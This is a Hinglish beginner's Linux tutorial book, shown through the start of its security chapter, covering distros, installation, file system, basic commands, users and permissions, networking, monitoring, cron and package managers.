Introduction

Linux ek powerful aur versatile operating system hai jo har field me use hota hai—chahe wo software development ho, cybersecurity, ethical hacking, ya phir server administration. Agar aapko technology me career banana hai ya ethical hacking aur cybersecurity me expert banna hai, to Linux seekhna **must** hai!

Linux ka Importance aur Use Cases

Linux sirf ek OS nahi, balki ek **skillset** hai jo aapko technical duniya me powerful banata hai. Yaha kuch important use cases hain:

1. **Ethical Hacking & Cybersecurity** – Ethical hackers aur penetration testers mostly Linux-based OS (like Kali Linux, Parrot OS) use karte hain.
2. **Server Administration** – Majority of web servers (Apache, Nginx) Linux pe run hote hain.
3. **Networking & Cloud Computing** – AWS, Google Cloud aur Azure jaise platforms me Linux ka hi use hota hai.
4. **Software Development** – Developers Linux ko prefer karte hain kyunki isme open-source tools aur programming languages ka best support hota hai.
5. **Forensics & Data Recovery** – Digital forensics aur investigation ke liye Linux tools jaise `Autopsy`, `Volatility`, aur `TestDisk` ka use hota hai.

Ethical Hacking aur Forensics ke liye Linux Kyun Zaroori Hai?

- Linux ka open-source nature aur flexibility ethical hackers aur forensic analysts ke liye best hai.
- Linux me powerful tools available hain jo **penetration testing, vulnerability assessment, aur network security analysis** ke kaam aate hain.
- Windows ya Mac ke comparison me, Linux me **direct system control** hota hai jisme file permissions, networking, aur process control bohot aasaan hota hai.

Basic Terms jo aapko aage samajhne me madad karenge

Aage badhne se pehle, kuch important terms ko samajhna zaroori hai:

- **Kernel** – Linux ka core jo hardware aur software ko connect karta hai.
- **Shell** – Command-line interface jisme aap Linux commands execute karte hain.
- **Terminal** – Ek program jo shell ko access karne me madad karta hai.
- **Root User** – Linux ka superuser jise full system access hota hai.
- **Filesystem Hierarchy** – Linux me files aur folders ka structure.

Book ka Structure (Aapko kya seekhne milega?)

Is book me aap step-by-step **beginner se professional level tak** Linux seekhoge. Structure kuch is tarah hoga:

✅ **Section 1: Beginner to Advanced Commands**
➡️ Linux basics, installation, essential commands, file system, user management, networking.

✅ **Section 2: Advanced to Deeper Commands**
➡️ System monitoring, performance tuning, security, package management, Kali Linux tools.

✅ **Section 3: Professional Level Skills**
➡️ Bash scripting, ethical hacking ke liye shell scripting, Python scripting for automation, forensic analysis.

Section 1: Beginner to Advanced Commands

Chapter 1: Linux Basics

Chapter 2: Basic Linux Commands

Chapter 3: User Management & Permissions

Chapter 4: Networking Basics

Section 2: Advanced to Deeper Commands

Chapter 5: System Monitoring & Performance

Chapter 6: Package Management

Chapter 7: Security & Firewall

Chapter 8: Kali Linux Tools Overview

Section 3: Deeper to Professional Level

Chapter 9: Bash Scripting Basics

Chapter 10: Shell Scripting for Ethical Hacking

Chapter 11: Python Scripting for Linux & Hacking

Chapter 12: Linux Forensics

Chapter 13: Final Tips & Resources

Section 1: Beginner to Advanced Commands

Chapter 1: Linux Basics

1. Linux Kya Hai?

Linux ek **open-source** aur **Unix-like** operating system hai jo servers, desktops, embedded systems aur supercomputers tak me use hota hai. Yeh ek secure, stable aur customizable OS hai jo har tarah ke users ke liye best hai—chahe wo beginners ho ya professionals.

1.1 Linux ka History

- 1991 me **Linus Torvalds** ne Linux ka development start kiya.
- Yeh Unix ke principles pe based hai, par yeh **free** aur **open-source** hai.
- Aaj Linux **Android phones, web servers, cloud computing, hacking, networking aur AI** me use hota hai.

1.2 Linux vs Windows vs MacOS

Feature	Linux	Windows	MacOS
Price	Free & Open-source	Paid	Paid
Security	Highly Secure	Vulnerable to viruses	Secure
Customization	High	Limited	Moderate
Performance	Fast & Lightweight	Heavy	Optimized for Mac devices
Usage	Developers, Hackers, Servers	General Users	Designers, Video Editors

2. Linux Distributions aur unka Comparison

Linux ke bohot saare **distributions (distros)** hain jo alag-alag users ke liye optimized hain.

2.1 Popular Linux Distributions

1. **Ubuntu** – Beginners ke liye best, user-friendly aur stable.
2. **Debian** – Secure aur reliable, mostly servers aur developers use karte hain.
3. **Arch Linux** – Advanced users ke liye, fully customizable.
4. **Fedora** – Cutting-edge technology aur developers ke liye best.
5. **Kali Linux** – Ethical hacking aur penetration testing ke liye best.

2.2 Best Linux Distribution Beginners ke liye

Agar aap **beginner** hain, to yeh distros best hain:

- **Ubuntu** – Sabse user-friendly
- **Linux Mint** – Windows-like interface
- **Zorin OS** – Windows users ke liye perfect transition

Example: Ubuntu Install karne ke liye Command (Server Version)

- sudo apt install ubuntu-server

---

3. Linux Installation aur Setup

Linux install karne ke 3 main methods hain:

1. **Virtual Machine (VMWare/VirtualBox)** – Safe aur easy way bina Windows delete kiye Linux chalane ka.
2. **Dual Boot (Windows + Linux)** – Dono OS ek saath ek hi machine pe install karna.
3. **Standalone Installation** – Sirf Linux install karna.

3.1 Linux ka Bootable USB kaise Banaye?

1. **Rufus** ya **balenaEtcher** software download karein.
2. Linux ISO file download karein (Ubuntu, Kali, etc.).
3. Rufus me **ISO select karein** → **USB select karein** → **Start**.
4. Bootable USB ready ho jayega!

---

4. Basic File System Structure (/ , /home, /bin, etc.)

Linux ka filesystem ek hierarchical structure hota hai jo **root directory** `/` se start hota hai.

4.1 Common Directories ka Explanation

Directory	Description
`/`	Root directory (sab kuch yahin se start hota hai).
`/home`	Users ke personal files yaha store hote hain.
`/bin`	System ke essential binaries (commands) yaha hote hain.
`/etc`	System configuration files.
`/var`	Logs aur temporary files ke liye.
`/usr`	Applications aur system programs.

Example: `/bin` Directory ka Access Karna

- ls -l /bin

5. Terminal ka Introduction

Linux me **Terminal ek powerful tool** hai jo commands execute karne ke liye use hota hai. Graphical User Interface (GUI) se jyada **CLI (Command Line Interface)** fast aur powerful hoti hai.

5.1 Terminal Open Karne ke Methods

- **Ubuntu:** `Ctrl + Alt + T`
- **Kali Linux:** Applications → Terminal
- **Arch Linux:** `Ctrl + Alt + T` ya `tty` mode

5.2 Basic Terminal Commands

Command	Description
`pwd`	Current directory show karta hai.
`ls`	Files aur folders list karta hai.
`cd`	Directory change karta hai.
`mkdir`	Naya folder create karta hai.
`touch`	Naya file create karta hai.
`rm`	File ya folder delete karta hai.

Example: Naya Folder Aur File Create Karna

bash
CopyEdit

```
mkdir my_project  # Naya folder
cd my_project     # Folder ke andar jana
touch notes.txt   # Nayi file create karna
ls                # Check karna file bani ya nahi
```

Summary

- Linux ek **powerful, secure aur open-source OS** hai.
- Different Linux distributions **(Ubuntu, Debian, Kali, Arch, etc.)** alag users ke liye optimized hote hain.
- Linux **install** karne ke multiple methods hain: Virtual Machine, Dual Boot, ya Standalone.
- Linux ka **file system** ek hierarchical structure follow karta hai jisme **`/home`**, **`/bin`**, **`/etc`** **jaise directories** hoti hain.
- Linux ka **Terminal** bohot powerful hai aur commands se **system control** karna possible hai.

Chapter 2: Basic Linux Commands

Linux me **command-line interface (CLI)** kaafi powerful hota hai, jo tasks ko jaldi aur efficiently perform karne me madad karta hai. Is chapter me hum **basic Linux commands** ko samjhenge jo **directory navigation, file handling, editing, aur system information** ke liye use hoti hain.

---

1. Directory Navigation Commands

Linux ka file system ek **tree structure** me organized hota hai. Isme navigation ke liye niche diye gaye commands use hote hain.

1.1 `pwd` (Print Working Directory)

- Yeh command aapko batata hai ki aap kis **directory** me kaam kar rahe hain.

✅ **Example:**

```
pwd
```

📌 **Output:**

```
/home/user
```

Matlab aap **/home/user** directory ke andar hain.

1.2 `ls` (List Files & Directories)

- Yeh command kisi directory ke andar **files aur folders** ko list karta hai.

✅ **Common Examples:**

```
- ls        # Current directory ke contents show karega
- ls -l     # Detailed information (permissions, size, date) ke
  sath list karega.
- ls -a     # Hidden files ko bhi show karega
- ls -lh    # File sizes human-readable format me dikhayega
```

📌 **Output (`ls -l` example):**

```
- drwxr-xr-x  2 user user 4096 Mar 12 12:00 Documents
- -rw-r--r--  1 user user 1024 Mar 12 12:10 notes.txt
```

1.3 `cd` (Change Directory)

- Yeh command **directories switch** karne ke liye use hota hai.

✅ **Common Examples:**t

```
- cd /home/user/Documents   # Direct path use karke directory
  change karna
- cd ..                     # Ek level upar jane ke liye
- cd ../..                  # Do levels upar jane ke liye
- cd ~                      # Home directory me jane ke liye
- cd -                      # Last visited directory me wapas
  jane ke liye
```

📌 **Example:**

```
- pwd
  # /home/user

- cd Documents
  pwd
  # /home/user/Documents
```

---

2. File Aur Folder Creation Commands

Linux me **files aur directories (folders)** create karne ke liye `mkdir`, `rmdir`, aur `touch` ka use hota hai.

2.1 `mkdir` (Make Directory)

- Yeh command **naya folder (directory)** banane ke liye use hota hai.

✅ **Example:**

```
- mkdir MyFolder
- mkdir -p Parent/Child  # Parent aur child directory ek saath
  banane ke liye
```

📌 **Check Directory:t**

```
- ls
  # MyFolder  Parent
```

2.2 `rmdir` (Remove Directory)

- Yeh **empty directories** ko delete karne ke liye use hota hai.

✅ **Example:**

```
- rmdir MyFolder
```

📌 **Note:** Agar folder empty nahi hai, to `rmdir` kaam nahi karega. Uske liye `rm -r` use karein.

✅ **Non-Empty Directory Delete Karne Ke Liye:**

```
- rm -r Parent
```

2.3 `touch` (Create Empty File)

- Yeh **empty file** create karne ke liye use hota hai.

✅ **Example:**

```
- touch myfile.txt
```

📌 **Check File:**

```
- ls
  # myfile.txt
```

---

3. File Operations (Copy, Move, Delete)

3.1 `cp` (Copy Files & Directories)

✅ **File Copy Karne Ke Liye:**

```
- cp file1.txt backup.txt
```

✅ **Folder Copy Karne Ke Liye:**

```
- cp -r Folder1 Folder2
```

📌 **Note:** `-r` ka use folders ko recursively copy karne ke liye hota hai.

3.2 `mv` (Move/Rename Files)

✅ **File Rename Karne Ke Liye:**

```
- mv oldname.txt newname.txt
```

✅ **File Ek Folder Se Dusre Folder Me Move Karne Ke Liye:**

```
- mv file1.txt /home/user/Documents/
```

3.3 `rm` (Remove/Delete Files & Directories)

✅ **File Delete Karne Ke Liye:**

```
- rm myfile.txt
```

✅ **Directory Delete Karne Ke Liye:**

```
- rm -r MyFolder
```

📌 **Note:** `rm -rf` ka use **force delete** ke liye hota hai (⚠ **Caution: Irrecoverable!**).

---

4. File Reading & Editing Commands

4.1 `cat` (File Read Karne Ke Liye)

- Yeh command kisi file ka **content display** karta hai.

✅ **Example:**

```
- cat myfile.txt
```

4.2 `nano` (File Editing)

- `nano` ek **simple text editor** hai jo terminal me file edit karne ke liye use hota hai.

✅ **Example:**

```
- nano myfile.txt
```

📌 **Exit Karne Ke Liye:**

- **CTRL + X → Y (Yes) → Enter**

4.3 `vim` (Advanced Text Editor)

- `vim` ek **advanced text editor** hai jo developers prefer karte hain.

✅ **Example:**

```
- vim myfile.txt
```

Command	Description
`i`	Insert mode (Typing ke liye)
`ESC`	Command mode me wapas jane ke liye
`:w`	File save karne ke liye
`:q`	Exit karne ke liye
`:wq`	Save aur exit karne ke liye

---

5. Documentation & Help Commands

Linux me **built-in documentation** hoti hai jo commands ke usage aur options samjhne me madad karti hai.

5.1 `man` (Manual Pages)

- Kisi command ka **detailed manual** dekhne ke liye use hota hai.

✅ **Example:**

```
- man ls
```

📌 **Exit Karne Ke Liye:** `q` Press Karein.

5.2 `help` (Shell Built-in Commands Ke Liye)

- **Built-in shell commands** ki basic help show karta hai.

✅ **Example:**t

```
- help cd
```

---

6. Environment Variables Commands

Environment variables system me **dynamic values** store karne ke liye use hote hain.

6.1 `echo` (Print Variables)

✅ **Example:**

```
- echo "Hello, Linux!"
- echo $HOME  # Home directory show karega
- echo $USER  # Current username show karega
```

6.2 `printenv` (All Environment Variables Show Karna)

✅ **Example:**

```
- printenv
```

📌 Summary

- **Directory Navigation:** `pwd`, `ls`, `cd`
- **File & Folder Creation:** `mkdir`, `rmdir`, `touch`
- **File Operations:** `cp`, `mv`, `rm`
- **File Editing:** `cat`, `nano`, `vim`
- **Help & Documentation:** `man`, `help`
- **Environment Variables:** `echo`, `printenv`

Chapter 3: User Management & Permissions

Linux ek **multi-user operating system** hai, jo ek hi system par multiple users ko support karta hai. Is chapter me hum **user management, file permissions, aur process management** ke baare me detail me samjhenge.

---

1. User & Group Management

Linux me har user **ek unique ID (UID) aur ek primary group** ka part hota hai. Users aur groups ka sahi management system security ke liye zaroori hota hai.

1.1 `whoami`, `id`, `who` (Current User Information)

✅ **Check Current User:**

```
- whoami
```

📌 **Example Output:**

```
- root
```

✅ **User ID aur Group Information Dekhne Ke Liye:**

```
- id
```

📌 **Example Output:**

```
- uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
```

✅ **All Logged-in Users Dekhne Ke Liye:**

```
- who
```

1.2 `useradd` (New User Create Karna)

✅ **Example:**

```
- sudo useradd -m hacker
```

📌 **Explanation:**

- `-m` → **User ke liye home directory create karega.**

✅ **Password Set Karna:**

```
- sudo passwd hacker
```

📌 **User Password Change Karne Ke Liye:**

```
- passwd
```

✅ **User Details Check Karna:**

```
- cat /etc/passwd | grep hacker
```

1.3 `usermod` (Modify User)

✅ **User Ka Home Directory Change Karna:**

```
- sudo usermod -d /home/new_home hacker
```

✅ **User Ko Sudo (Admin) Permissions Dena:**

```
- sudo usermod -aG sudo hacker
```

✅ **Username Change Karna:**

```
- sudo usermod -l new_username old_username
```

✅ **User Account Disable Karna:**

```
- sudo usermod -L hacker
```

📌 **Re-enable Karne Ke Liye:**

```
- sudo usermod -U hacker
```

1.4 `userdel` (Delete User)

✅ **User Delete Karna (Data Ko Rakhe Bina):**

```
- sudo userdel hacker
```

✅ **User Aur Uska Home Directory Delete Karna:**

```
- sudo userdel -r hacker
```

1.5 `groupadd`, `groupdel`, `gpasswd` (Group Management)

✅ **New Group Create Karna:**

- `sudo groupadd pentesters`

✅ **User Ko Group Me Add Karna:**

- `sudo usermod -aG pentesters hacker`

✅ **Group List Dekhna:**

- `cat /etc/group | grep hacker`

✅ **User Ko Group Se Remove Karna:**

- `sudo deluser hacker pentesters`

✅ **Group Delete Karna:**

- `sudo groupdel pentesters`

---

2. File & Directory Permissions

Har file aur directory ka ek **owner, group, aur permission level** hota hai.

2.1 `ls -l` (Permissions Check Karna)

✅ **Example:**

- `ls -l myfile.txt`

📌 **Output Example:**

- `-rw-r--r-- 1 user user 1024 Mar 12 12:10 myfile.txt`
- `-rw-r--r--`
  - **First character**: `-` (File), `d` (Directory)
  - **Next 3 (`rw-`)** → Owner permissions (**Read & Write**)
  - **Next 3 (`r--`)** → Group permissions (**Read Only**)
  - **Next 3 (`r--`)** → Other users (**Read Only**)

✅ **Octal (Numeric) Representation:**

Permission	Binary	Octal
`r--`	`100`	`4`
`rw-`	`110`	`6`
`rwx`	`111`	`7`

2.2 `chmod` (Change File Permissions)

✅ **Owner Ko Read-Write-Execute (`rwx`) Dena:**

```
- chmod 700 myfile.txt
```

✅ **Group Aur Others Ko Read (`r--`) Dena:**

```
- chmod 744 myfile.txt
```

✅ **Recursive (Folder Aur Uske Content Pe Apply Karne Ke Liye):**

```
- chmod -R 755 myfolder/
```

✅ **Symbolic Method:**

```
- chmod u+x script.sh  # Owner ko execute permission dega
- chmod g-w file.txt   # Group ke write permission hata dega
```

2.3 `chown` (Change File Owner)

✅ **Owner Change Karne Ke Liye:**

```
- sudo chown hacker myfile.txt
```

✅ **Owner Aur Group Dono Change Karne Ke Liye:**

```
- sudo chown hacker:pentesters myfile.txt
```

✅ **Recursive (Folder Aur Uske Content Ke Liye):**

```
- sudo chown -R hacker:hacker myfolder/
```

2.4 `chgrp` (Change Group)

✅ **File Ke Group Ko Change Karna:**

- `sudo chgrp pentesters myfile.txt`

---

3. Process Management (Running Programs Control Karna)

3.1 `ps` (Running Processes Dekhna)

✅ **Example:**

- `ps aux`

📌 **Output Example:**

- `user 1234 0.0 1.0 123456 5678 ? Ssl 10:00 0:01 /usr/bin/firefox`

✅ **Specific Process Search Karna (`grep` Ke Saath):**

- `ps aux | grep firefox`

3.2 `top` & `htop` (Live Process Monitoring)

✅ **System Ka Live Resource Usage Dekhne Ke Liye :**

- `top`

✅ **Better Interface Ke Liye (`htop` Install Karke):**t

- `sudo apt install htop  # (Debian/Ubuntu)`
- `sudo dnf install htop  # (RHEL/Fedora)`
- `htop`

3.3 `kill`, `pkill`, `killall` (Process Stop Karna)

✅ **Process Kill Karne Ke Liye (`PID` Ke Saath):**

- `kill 1234`

✅ **Process Forcefully Kill Karna:**

- `kill -9 1234`

✅ **Process Name Se Kill Karna:**

```
- pkill firefox
```

✅ **Ek Hi Naam Ke Sabhi Processes Ko Kill Karna:**

```
- killall firefox
```

📌 Summary

Command	Purpose
`useradd`, `usermod`, `passwd`, `userdel`	User create, modify, delete
`groupadd`, `groupdel`, `gpasswd`	Group management
`ls -l`	File permissions check karna
`chmod`, `chown`, `chgrp`	File permissions & ownership change karna
`ps`, `top`, `htop`	Running processes check karna
`kill`, `pkill`, `killall`	Process terminate karna

Chapter 4: Networking Basics

Linux networking ka strong knowledge **ethical hacking, system administration, aur cybersecurity** ke liye important hai. Is chapter me **networking concepts, common commands, aur secure remote connections** ko cover karenge.

---

1. IP Address, MAC Address & Network Interfaces

1.1 IP Address (Internet Protocol)

IP address ek **unique identifier** hota hai jo ek device ko network me identify karta hai.

- **Private IP**: Local network ke liye (`192.168.x.x`, `10.x.x.x`, `172.16.x.x`)
- **Public IP**: Internet par unique hota hai.

✅ **Apni Public IP Dekhne Ke Liye:**

```
- curl ifconfig.me
```

✅ **Local IP Dekhne Ke Liye:**

```
- hostname -I
```

1.2 MAC Address (Media Access Control)

MAC address ek **hardware-based unique identifier** hota hai jo har network interface me embedded hota hai.

✅ **MAC Address Check Karne Ke Liye**

```
- ip link show eth0
```

Ya

```
- ifconfig eth0 | grep ether
```

📌 **Output Example:**

```
- ether 00:1A:2B:3C:4D:5E
```

1.3 Network Interfaces

Network interfaces **physical ya virtual network connections** hote hain. Common interfaces:

- **eth0** → Wired connection
- **wlan0** → Wireless connection
- **lo (Loopback)** → Localhost testing ke liye

✅ **Available Interfaces Dekhne Ke Liye:**

```
- ip a
```

Ya

```
- ifconfig -a
```

---

2. Common Network Commands

2.1 `ifconfig` & `ip` (Network Interface Configuration)

✅ **Sabhi Interfaces Dekhne Ke Liye (`ifconfig` Old Hai, `ip` Preferred Hai):**

```
- ip a
```

Ya

- `ifconfig`

✅ **Kisi Specific Interface Ka IP Dekhne Ke Liye:**

- `ip addr show wlan0`

✅ **IP Address Manually Set Karna (Root Required)**

- `sudo ip addr add 192.168.1.100/24 dev eth0`

✅ **Interface Enable/Disable Karna:**

- `sudo ip link set eth0 up`
- `sudo ip link set eth0 down`

✅ **Default Gateway Check Karna:**

- `ip route`

2.2 `ping` (Network Connectivity Check Karna)

✅ **Kisi Website Ya Server Ko Ping Karna:**

- `ping google.com`

✅ **Specific Count Ke Liye:**

- `ping -c 5 google.com`

📌 **Ping Ka Output Batata Hai Ki Koi Host Accessible Hai Ya Nahi.**

2.3 `traceroute` (Network Path Trace Karna)

✅ **Network Packet Ka Path Dekhne Ke Liye:**

- `traceroute google.com`

📌 **Agar `traceroute` Installed Nahi Hai, Install Karein:**

- `sudo apt install traceroute  # Debian/Ubuntu`
- `sudo dnf install traceroute  # RHEL/Fedora`

✅ **Alternative (`mtr` - More Detailed):**

```
- mtr google.com
```

2.4 `netstat` & `ss` (Network Statistics & Active Connections)

✅ **Active Connections Aur Listening Ports Dekhne Ke Liye:**

```
- netstat -tulnp
```

📌 **Alternative (`ss` Command, Faster & Better):**

```
- ss -tulnp
```

- `-t` → TCP connections
- `-u` → UDP connections
- `-l` → Listening ports
- `-n` → Numerical output
- `-p` → Process ID show karega

---

3. SSH (Secure Shell) – Remote Login & File Transfer

SSH ek **secure remote access protocol** hai jo encrypted communication provide karta hai. **System administration, ethical hacking, aur remote management** ke liye bahut useful hai.

3.1 `ssh` (Remote Login)

✅ **Remote System Pe Login Karna:**

```
ssh username@remote-ip
```

Example:

```
- ssh root@192.168.1.10
```

📌 **Agar Port 22 Ke Alawa Koi Aur Port Hai:**

```
- ssh -p 2222 username@remote-ip
```

✅ **SSH Session Close Karne Ke Liye:**

```
- exit
```

Ya

```
- Ctrl + D
```

3.2 `scp` (Secure Copy - Remote File Transfer)

✅ Local System Se Remote System Pe File Copy Karna:

- `scp file.txt username@remote-ip:/home/user/`

✅ Remote System Se Local System Pe File Copy Karna:

- `scp username@remote-ip:/home/user/file.txt /local/destination/`

✅ Directory Copy Karna (`-r` Recursive Option Ke Saath):

- `scp -r my_folder username@remote-ip:/home/user/`

3.3 `rsync` (Efficient File Synchronization)

✅ Local To Remote File Sync Karna:

- `rsync -avz file.txt username@remote-ip:/home/user/`

✅ Remote To Local File Sync Karna:

- `rsync -avz username@remote-ip:/home/user/file.txt /local/destination/`
- `-a` → Archive mode
- `-v` → Verbose (details show karega)
- `-z` → Compression enable karega

✅ Complete Directory Sync Karna:

- `rsync -avz /local/directory/ username@remote-ip:/remote/destination/`

Command	Purpose
`ip a`	Network interfaces check karna
`ping`	Network connectivity test karna
`traceroute`	Packet route trace karna
`netstat -tulnp`	Active connections aur listening ports check karna
`ssh username@ip`	Remote server pe login karna
`scp file user@ip:/path/`	Securely file transfer karna
`rsync -avz src dest`	Efficient file synchronization

Section 2: Advanced to Deeper Commands

Chapter 5: System Monitoring & Performance

Linux system ka **performance monitor karna aur optimize karna** kisi bhi **system administrator, ethical hacker, ya power user** ke liye important hai. Is chapter me **disk usage, RAM monitoring, log analysis, aur automation** ke important commands aur tools cover kiye gaye hain.

---

1. Disk & RAM Monitoring

1.1 `df` (Disk Free – Storage Usage Monitoring)

✅ **Disk Space Usage Check Karna:**

```
- df -h
```

- `-h` → Human-readable format (MB, GB)

📌 **Example Output:**

```
- Filesystem      Size  Used Avail Use% Mounted on
  /dev/sda1       100G   50G   50G   50%  /
```

✅ **Specific Partition Check Karna:**

```
- df -h /home
```

1.2 `du` (Disk Usage – Folder Size Analysis)

✅ **Current Directory Ka Size Check Karna:**

```
- du -sh .
```

- `-s` → Summary mode
- `-h` → Human-readable format

✅ **Top 10 Sabse Badi Files/Directories Dekhne Ke Liye:**

```
- du -ah / | sort -rh | head -10
```

1.3 `free` (RAM Usage Monitoring)

✅ **System Ki RAM Usage Check Karna:**

```
- free -h
```

📌 **Example Output:**

```
    total        used        free      shared  buff/cache   available
Mem: 16G         5G          3G          1G          8G          10G
```

✅ **Real-time RAM Usage Check Karne Ke Liye (`watch` ke Saath)**

```
- watch -n 2 free -h
```

- `-n 2` → Har 2 second me update karega

✅ **Real-time RAM Usage Check Karne Ke Liye (`watch` ke Saath)**

```
- watch -n 2 free -h
```

- `-n 2` → Har 2 second me update karega

---

2. Logs & System Uptime

2.1 `uptime` (System Ka Uptime Check Karna)

✅ **System Kabse Chal Raha Hai:**

```
- uptime
```

📌 **Example Output:**

```
- 10:00:45 up 5 days, 3:20,  2 users,  load average: 0.12, 0.09,
  0.08
```

- `up 5 days, 3:20` → System **5 din aur 3 ghante** se chal raha hai
- `load average: 0.12, 0.09, 0.08` → CPU Load average

2.2 `dmesg` (System Boot & Kernel Logs)

✅ **Boot aur Hardware Logs Dekhne Ke Liye:**

```
- dmesg | less
```

✅ **Errors Ya Failures Filter Karna:**

```
- dmesg | grep -i "error"
```

2.3 `journalctl` (System Logs Analysis - SystemD)

✅ **Latest System Logs Dekhne Ke Liye:**

```
- journalctl -xe
```

✅ **Kisi Specific Service Ke Logs Dekhne Ke Liye:**

```
- journalctl -u ssh --since "1 hour ago"
```

✅ **Boot Logs Dekhne Ke Liye:**

```
- journalctl -b
```

✅ **Real-time Logs Monitor Karne Ke Liye:**

```
- journalctl -f
```

---

3. Services & Automation

3.1 `systemctl` (Services Manage Karna)

✅ **System Service Ka Status Check Karna:**

```
- systemctl status ssh
```

✅ **Service Start/Stop/Restart Karna:**

```
- sudo systemctl start apache2
- sudo systemctl stop apache2
- sudo systemctl restart apache2
```

✅ **Service Ko Enable/Disable Karna (Boot Time Pe Start Karne Ke Liye)**

```
- sudo systemctl enable apache2
- sudo systemctl disable apache2
```

3.2 `cron` (Task Scheduling & Automation)

Linux me **automated tasks run karne ke liye `cron` ka use hota hai**.

✅ **Current User Ke Scheduled Tasks Dekhne Ke Liye:**

- `crontab -l`

✅ **New Task Schedule Karne Ke Liye (`crontab -e`)**

- `crontab -e`

Aur file me yeh add karein:

- `0 6 * * * /home/user/backup.sh`

📌 **Yeh Command Har Din Subah 6 Baje `/home/user/backup.sh` Script Ko Run Karega.**

✅ **Crontab Format:**

*** * * * * Command**

- - - - -

| | | | |

| | | | +---- Weekday (0 - 6) [Sunday = 0]

| | | +------- Month (1 - 12)

| | +---------- Day (1 - 31)

| +------------ Hour (0 - 23)

+-------------- Minute (0 - 59)

✅ **Example:**

Command	Description
`0 0 * * * /script.sh`	Har din raat 12 baje chalega
`*/5 * * * * /script.sh`	Har 5 minute me chalega
`0 6 * * 1 /script.sh`	Har Monday subah 6 baje chalega

📌 Summary

Command	Purpose
`df -h`	Disk space usage dekho
`du -sh folder/`	Folder ka size check karo
`free -h`	RAM usage dekho
`uptime`	System uptime aur load average check karo
`dmesg	grep error`	
`journalctl -xe`	Recent system logs dekho
`systemctl status service`	Service ka status check karo
`crontab -e`	Scheduled tasks add karo

Chapter 6: Package Management

Linux me software install karne aur manage karne ke liye **package managers** ka use hota hai. Har Linux distribution ka **apna package manager** hota hai, jo software ko **install, update, aur remove** karne ka kaam karta hai.

✅ **Is chapter me hum yeh cover karenge:**

1. **Different Package Managers**: `apt`, `dnf`, `yum`, `pacman`
2. **Source Code se Software Install Karna** (`tar`, `make`, `./configure`)
3. **Package Management Best Practices**

---

1. Package Managers Overview

Package managers software ko install karne, update karne, aur remove karne ke liye use hote hain.

Package Manager	Linux Distributions
`apt` (Advanced Package Tool)	Debian, Ubuntu
`dnf` (Dandified Yum)	Fedora, RHEL, CentOS
`yum` (Yellowdog Updater, Modified)	RHEL, CentOS (Old versions)
`pacman` (Package Manager)	Arch Linux, Manjaro

📌 **Command Syntax:**
sudo <package_manager> install <package_name>
sudo <package_manager> remove <package_name>
sudo <package_manager> update

2. Using `apt` (Debian, Ubuntu)

✅ **Repository List Update Karna:**

- **sudo apt update**

✅ **System Ka Sara Software Upgrade Karna:**

- `sudo apt upgrade -y`

✅ **Naya Software Install Karna:**

- `sudo apt install htop`

✅ **Software Remove Karna:**

- `sudo apt remove htop`

✅ **System Cleanup Karna (Unused Packages Remove Karna):**

- `sudo apt autoremove`

✅ **Specific Package Ke Baare Me Jaanna:**

- `apt show htop`

---

3. Using `dnf` (Fedora, RHEL, CentOS 8+)

✅ **Repository Update Karna:**

- `sudo dnf check-update`

✅ **Software Install Karna:**

- `sudo dnf install nano`

✅ **Software Remove Karna:**

- `sudo dnf remove nano`

✅ **System Cleanup (Unused Packages Remove Karna):**

- `sudo dnf autoremove`

✅ **Installed Package Ki Details Dekhna:**

- `dnf info nano`

---

4. Using `yum` (CentOS, RHEL 7 and Older)

✅ **Repository Update Karna:**

- `sudo yum check-update`

✅ **Software Install Karna:**

- `sudo yum install httpd`

✅ **Software Remove Karna:**

- `sudo yum remove httpd`

✅ **System Cleanup:**

- `sudo yum autoremove`

---

5. Using `pacman` (Arch Linux, Manjaro)

✅ **System Update Karna:**

- `sudo pacman -Syu`

✅ **Naya Package Install Karna:**

- `sudo pacman -S firefox`

✅ **Package Remove Karna:**

- `sudo pacman -R firefox`

✅ **Orphaned Packages Remove Karna (System Cleanup):**

- `sudo pacman -Rns $(pacman -Qdtq)`

---

6. Source Code Se Software Install Karna

Agar koi package official repositories me available nahi hai, to hum source code se install kar sakte hain.

6.1 `tar` (Compressed File Extract Karna)

✅ **Tar File Extract Karna:**

```
- tar -xvf source-code.tar.gz
  cd source-code/
```

6.2 `make`, `./configure` (Source Code Compile Karna)

Agar software C/C++ ya kisi aur compiled language me likha hai, to hume usko compile karna hoga.

✅ **Source Code Ko Configure Karna:**

```
- ./configure
```

✅ **Compile Karna:**

```
- make
```

✅ **Install Karna:**

```
- sudo make install
```

📌 **Example:**
Agar aapko `htop` ka latest version source code se install karna ho, to yeh steps follow kar sakte hain:

```
- wget https://htop.dev/htop-3.2.2.tar.gz
  tar -xvf htop-3.2.2.tar.gz
  cd htop-3.2.2
  ./configure
  make
  sudo make install
```

---

7. Best Practices for Package Management

1. **Hamesha pehle repositories update karein: `sudo apt update`**
2. **Software install karne ke baad system cleanup karein: `sudo apt autoremove`**
3. **Experimental ya unverified repositories se software install na karein**
4. **Tar ya source-based installation tabhi karein jab official package available na ho**
5. **Package installation aur removal logs ko maintain karein (`/var/log/dpkg.log` ya `/var/log/pacman.log`)**

📌 Summary Table

Command	Purpose
`sudo apt update && sudo apt upgrade -y`	Ubuntu/Debian me update aur upgrade
`sudo dnf update`	Fedora me packages update karna
`sudo yum install package`	CentOS/RHEL 7 me package install karna
`sudo pacman -S package`	Arch Linux me package install karna
`tar -xvf file.tar.gz`	Tar file extract karna
`./configure && make && sudo make install`	Source code se software install karna

Chapter 7: Security & Firewall

Linux secure hone ke bawajood proper security configuration aur firewall setup ke bina attacks ka shikar ho sakta hai. Is chapter me hum Linux security fundamentals, firewalls, aur encryption techniques ko cover karenge.

✅ Is Chapter Me Aap Seekhoge:

1. **Linux Security Fundamentals**
2. **Firewalls (`iptables`, `ufw`)**
3. **Brute-Force Protection (`fail2ban`)**
4. **File Encryption (`gpg`, `openssl`)**

---

1. Linux Security Fundamentals

✅ 1.1 Root User aur Sudo Ka Use:
Linux me root user ka access dangerous ho sakta hai. Sudo ka use karke aap temporary root permissions le sakte hain bina permanent root login ke.

📌 Example:

```
- sudo apt update
```

💡 Avoid: Direct root login (`su -` ya `sudo su`)

✅ 1.2 Secure Password Policies Set Karna:
Linux me strong password enforce karne ke liye password aging policy set karni chahiye.

📌 Example:

```
- sudo chage -M 60 -m 7 -W 7 username
```

📝 **Explanation:**

- `-M 60` → **Password 60 din tak valid rahega**
- `-m 7` → **Minimum 7 din me password change ho sakta hai**
